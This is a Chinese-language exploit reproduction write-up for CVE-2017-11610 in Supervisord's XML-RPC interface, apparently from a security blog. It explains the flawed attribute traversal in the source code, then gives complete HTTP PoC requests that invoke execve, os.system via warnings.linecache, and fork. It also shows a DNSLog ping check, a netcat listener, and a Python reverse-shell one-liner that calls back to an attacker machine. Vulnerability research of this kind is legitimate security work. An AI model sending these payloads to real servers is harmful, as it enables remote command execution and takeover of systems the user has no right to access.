您的位置:首页 > 其它

[CVE-2017-11610] Supervisord远程命令执行漏洞复现

2021-08-27 15:43 453 查看

0x00 漏洞概述

编号为CVE-2017-11610

Supervisord是使用Python开发的进程管理程序,能够将命令行进程或服务变为后台运行的daemon(守护进程)。Supervisord拥有监控进程状态的能力,在进程异常退出时能够重新启动进程。

The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisord namespace lookups.

Supervisord在配置了Web接口后,服务器会启动一个XML-RPC服务器,端口为9001。在获取接口访问权限后,攻击者可以利用构造请求达成RCE。

影响版本:Supervisord < 3.0.1, 3.1.x < 3.1.4, 3.2.x < 3.2.4, 3.3.x < 3.3.3

0x01 漏洞分析

配置

Supervisord的功能角色类似于Linux自带的Systemd。相比于Systemd,Supervisord有几个特点:

  • 配置简单;
  • 作为简单的第三方应用,不与系统产生耦合;
  • 提供基于HTTP的API,支持远程操作。

Supervisord为C-S架构,Server以服务形式在系统后台运行,Client是一个命令行工具,根据用户需求调用API。

查看Supervisord的配置文件可知,默认情况下,Supervisord的Server端监听unix套接字

unix:///tmp/supervisor.sock
,Client配置的
serverurl
也是这个地址。

[unix_http_server]
file=/tmp/supervisor.sock   ; the path to the socket file
;chmod=0700                 ; socket file mode (default 0700)
;chown=nobody:nogroup       ; socket file uid:gid owner
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)

;[inet_http_server]         ; inet (TCP) server disabled by default
;port=127.0.0.1:9001        ; ip_address:port specifier, *:port for all iface
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)

[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL  for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris              ; should be same as in [*_http_server] if set
;password=123                ; should be same as in [*_http_server] if set
;prompt=mysupervisor         ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history  ; use readline history if available

Client去连接配置好的

serverurl
,使用RPC协议进行通信。通过XML,将
methodName
params
传入服务端进行执行。如:

supervisorctl start [进程名]

此时

start
指令会调用
supervisor.startProcess
方法。

另外,如果设置了

[inet_http_server]
这一段(上述配置中被注释),即可将Supervisord监听在TCP端口上,这样其它外部程序也可以调用,默认配置在9001端口。

源码

这个漏洞的本质是不安全的对象引用+方法调用,类似于Java反序列化漏洞的意味。

Supervisord就是C-S架构的基于RPC(远程过程调用协议)的通信过程,Client通过RPC调用Server的某个函数并得到返回结果,如果出现Server端策略外的调用(如

os.system
)则导致RCE。

RPC出于安全考虑会设置函数映射,Client只能调用白名单中的部分函数,且函数名已经通过映射。

3.3.2版本中,如下处理RPC:

class supervisor_xmlrpc_handler(xmlrpc_handler):
...

def call(self, method, params):
return traverse(self.rpcinterface, method, params)

def traverse(ob, method, params):
path = method.split('.')
for name in path:
if name.startswith('_'):
# security (don't allow things that start with an underscore to
# be called remotely)
raise RPCError(Faults.UNKNOWN_METHOD)
ob = getattr(ob, name, None)
if ob is None:
raise RPCError(Faults.UNKNOWN_METHOD)

try:
return ob(*params)
except TypeError:
raise RPCError(Faults.INCORRECT_PARAMETERS)

supervisor_xmlrpc_handler
类用于处理RPC请求,其中的
call
方法才是真正执行远程调用的函数。
call
中使用了
traverse
,其函数逻辑是:

  1. 针对
    method
    ,按点号分割存入数组
    path
  2. 遍历数组,获得
    name
    ,依据为是否以
    _
    开头;
  3. 如果不以
    _
    开头,则获取
    ob
    对象的
    name
    属性,作为新的
    ob
    对象;
  4. 遍历完成后获得最终的
    ob
    对象,对其调用。

这个函数的最终效果就是:初始输入的

ob
对象下面的任意public方法,包括所有递归子对象的任意public方法,都可以被调用

此处的

ob
对象就是
self.rpcinterface
,但是(猜测)开发人员认为调用范围被限制在了该对象内部,就并没有做严格的白名单。然而CVE-2017-11610的发现者却发现,在
self.rpcinterface.supervisor.supervisord.options
对象下,存在方法
execve
,相当于直接调用了系统的
os.execve
,可以达成RCE了。

class ServerOptions(Options):
...
def execve(self, filename, argv, env):
return os.execve(filename, argv, env)

PoC

POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 439

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.execve</methodName>
<params>
<param>
<string>/usr/local/bin/python</string>
</param>
<param>
<array>
<data>
<value><string>python</string></value>
<value><string>-c</string></value>
<value><string>import os;os.system('touch /tmp/success');</string></value>
</data>
</array>
</param>
<param>
<struct>
</struct>
</param>
</params>
</methodCall>

漏洞发现者使用的调用链为

self.rpcinterface.supervisor.supervisord.options.execve
,并基于此构造PoC。实际上这个原始PoC存在遗憾,因为Python的
os.execve()
函数会使用新进程替代当前进程,导致Supervisord本身退出,也就没有权限维持。

如果使用Docker模拟靶机(或者生产环境真的使用了Docker),当基础进程Supervisord退出时,会导致整个Docker容器的退出,漏洞利用局限在了一次性的命令(如写文件)。

PoC改进

针对以上问题,通过发掘其它的调用链得以解决。存在

supervisor.supervisord.options.warnings.linecache.os.system()
可以利用(寻找非下划线
_
开头的属性中是否存在引入了
os
模块的情况而得到的结果),
linecache
具有更佳的利用条件。

构造PoC:

POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

PoC又一改进

在原先的

self.rpcinterface.supervisor.supervisord.options
中,存在一个
fork
方法是调用了系统的
os.fork
函数。
os.fork
的作用是在当前进程派生一个新的子进程。所以即使当前进程被意外终止,也不会导致整个Supervisord退出,因为派生进程还存活。

先构造新子进程:

POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.fork</methodName>
<params>
</params>
</methodCall>

然后发送最初版本的PoC即可。

0x02 利用流程

靶机:192.168.31.39,攻击机:192.168.31.197。

访问靶机

是一台版本3.3.2的Supervisord。

先行测试

针对无回显的机器,可以使用DNSLog进行初步验证。

POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>ping mcxx8o.dnslog.cn</string>
</param>
</params>
</methodCall>

确认漏洞可以利用。

反弹Shell

攻击机开启监听:

nc -lvp 6666

再次构造请求,写反弹Shell:

POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 425

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.31.197',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"</string>
</param>
</params>
</methodCall>

一直处于请求状态说明执行成功,此时在攻击机就拿到了Shell:

0x03 补充

几个条件:

  • 版本符合
  • RPC可被访问
  • RPC弱密码或无密码

漏洞利用的关键是RPC的访问权限。实际上,默认配置的Supervisord只监听unix套接字,外部IP根本无法访问,所以实际上利用条件很苛刻。另外,即使拿到了低权限,也无法通过访问本地unix套接字进行提权——supervisor.sock的默认权限为0700,其它用户无法访问且能够访问的用户具有相同权限,也就无从提权。

当然,能够遇到RPC配置疏忽,得以查看服务器文件,已经是很不错的攻击成果了。

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: